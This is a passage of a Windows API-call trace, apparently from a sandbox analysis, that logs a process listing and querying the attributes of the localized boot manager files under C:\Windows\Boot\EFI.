	[0086.344] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.344] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7dde493, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe84dc4a6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.344] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe67ffc2c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.344] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.344] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.344] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\da-dk\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408328 | out: lpFileInformation=0x12408328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7dde493, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe84dc4a6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15650)) returned 1
	[0086.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\da-dk\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408378 | out: lpFileInformation=0x12408378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe67ffc2c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0086.348] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\de-DE" (normalized: "c:\\windows\\boot\\efi\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x124083c8 | out: lpFileInformation=0x124083c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.348] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\de-DE" (normalized: "c:\\windows\\boot\\efi\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.348] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.348] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.348] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe33a1c4c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3ac5dbc, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.348] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c76512, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7374525, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7374525, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.348] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.348] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.349] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\de-de\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124084b8 | out: lpFileInformation=0x124084b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe33a1c4c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3ac5dbc, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1
	[0086.349] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\de-de\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408508 | out: lpFileInformation=0x12408508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c76512, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7374525, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7374525, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14a00)) returned 1
	[0086.349] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\el-GR" (normalized: "c:\\windows\\boot\\efi\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x12408558 | out: lpFileInformation=0x12408558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.349] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\el-GR" (normalized: "c:\\windows\\boot\\efi\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.350] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.350] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.350] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe892cc2f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9050d9f, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.350] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3355992, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3a539a5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe3a539a5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.350] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.350] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.350] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\el-gr\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408648 | out: lpFileInformation=0x12408648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe892cc2f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9050d9f, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17240)) returned 1
	[0086.352] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\el-gr\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408698 | out: lpFileInformation=0x12408698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3355992, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3a539a5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe3a539a5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15600)) returned 1
	[0086.352] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US" (normalized: "c:\\windows\\boot\\efi\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124086e8 | out: lpFileInformation=0x124086e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.353] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\en-US" (normalized: "c:\\windows\\boot\\efi\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.353] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.353] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.353] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88946bb, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe915b72a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7851ec74, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.353] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe633d08c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6d34be3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6d34be3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.353] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aba1800, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.efi.mui", cAlternateFileName="")) returned 1
	[0086.353] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.353] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.353] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\en-us\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408828 | out: lpFileInformation=0x12408828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88946bb, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe915b72a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7851ec74, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1
	[0086.354] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\en-us\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408878 | out: lpFileInformation=0x12408878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe633d08c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6d34be3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6d34be3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13000)) returned 1
	[0086.354] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\memtest.efi.mui" (normalized: "c:\\windows\\boot\\efi\\en-us\\memtest.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124088c8 | out: lpFileInformation=0x124088c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aba1800, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa40)) returned 1
	[0086.355] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\es-ES" (normalized: "c:\\windows\\boot\\efi\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x12408918 | out: lpFileInformation=0x12408918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.355] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\es-ES" (normalized: "c:\\windows\\boot\\efi\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.355] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.355] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.355] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8254d79, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8978ee9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.355] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f1a02a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe26b05b1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe26d670e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.355] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.355] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.355] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\es-es\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408a08 | out: lpFileInformation=0x12408a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8254d79, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8978ee9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1
	[0086.355] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\es-ES\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\es-es\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408a58 | out: lpFileInformation=0x12408a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f1a02a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe26b05b1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe26d670e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400)) returned 1
	[0086.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI" (normalized: "c:\\windows\\boot\\efi\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x12408aa8 | out: lpFileInformation=0x12408aa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.356] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI" (normalized: "c:\\windows\\boot\\efi\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.356] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\fi-FI\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
